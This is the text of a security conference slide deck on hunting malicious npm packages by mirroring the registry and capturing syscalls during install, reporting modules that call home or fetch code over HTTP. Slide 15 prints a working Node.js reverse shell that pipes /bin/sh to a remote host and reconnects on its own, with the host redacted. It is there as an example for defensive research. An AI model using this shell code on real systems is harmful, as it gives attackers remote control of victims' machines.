1. Hunting for Malicious
Modules in

2. adam_baldwin
evilpacket

3. liftsecurity.io

4. nodesecurity.io
Continous Security Monitoring

5. Hunting for Malicious
Modules in

6. WHY SHOULD WE HUNT?

7. 🕯
Hey, I can publish malicious
code to npm

8. 💨
this is bad.

9. 🔥
install scripts are BAD!

10. 💩
JavaScript BAD!

11. rimrafall

12. npm hydra worm

13. WHAT ARE WE HUNTING?

14. WHAT DEFINES MALICIOUS
BEHAVIOR?

15. var net = require('net');
var daemon = require('daemon');
var spawn = require('child_process').spawn;
function c() {
var client = new net.Socket();
client.connect(443, "REDACTED", function() {
var sh = spawn('/bin/sh', []);
client.write("Connectedrn");
client.pipe(sh.stdin);
sh.stdout.pipe(client);
});
client.on('error', function() {});
client.on('close', function() {
setTimeout(c, 5000);
});
}
require('daemon')();
c();
😈
Example

16. client.connect(443, "REDACTED", function() {
var sh = spawn('/bin/sh', []);

17. WHERE ARE WE HUNTING?

19. 507,573 modules

20. 3,443,784 individual versions

21. 242,505,822 individual files

22. 21,756 modules with install scripts

23. HOW AM I HUNTING?

24. MIRROR REGISTRY

25. INDEX MODULES
Filenames
Extensions
Content Hash

26. npm install module
syscall capture
DB

27. npm publish GCS
PubSubInstrumentation
npm i
raw
data 🎉

28. ~24,000 modules
processed

29. 2.1 TB OF DATA 😲

30. 22
53
80
443
1880
3000
9418
23400
27017
38584
54329
61337
3001
3306
4987
6379
8000
8002
8008
8043
8080
8090
9000
9001
DESTINATION PORTS

31. DNS REQUESTS
339 unique lookups

32. DESTINATION HOSTS
1080 unique hosts

33. RESULTS
😈

34. 144+ modules that download build
components over HTTP
Insecure Behavior

36. Modules that called home
et_phone_home
anarchy
harmlesspackage
botbait

37. Modules that change registry
settings

38. 😇 ? 😈

39. 😢 / 😀

40. WHAT DID I LEARN?
How can we improve the future

41. People will publish malicious things
to the registry

42. Your security habits have a lot to do
with if this gets exploited or not

43. -Have good passwords
-Don't publish credentials
-Limit the # of publishers

44. But what about ? Can't they
do something?

45. </presentation>
Thanks
adam_baldwin
evilpacket